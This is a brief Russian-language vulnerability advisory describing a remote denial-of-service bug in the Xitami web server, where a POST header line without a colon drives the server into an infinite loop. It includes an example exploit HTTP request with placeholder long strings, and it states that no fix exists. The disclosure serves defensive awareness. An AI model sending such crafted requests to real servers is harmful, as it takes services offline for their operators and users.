Удаленный отказ в обслуживании против Xitami web server

Описание: Уязвимость обнаружена в Xitami web server. Удаленный пользователь может аварийно завершить работу Web сервера.

Удаленный пользователь может послать строку HTTP POST заголовка, не содержащую двоеточия (':'), чтобы заставить целевой сервер войти в бесконечный цикл. В результате сервер перестанет отвечать на любые запросы.

Пример/Эксплоит:

POST /forum/index.php HTTP/1.1
Referer: Sentryunion
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Content-Length: 10
(long string here)
0x0D 0x0A
(another long string here)

URL производителя: http://www.xitami.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.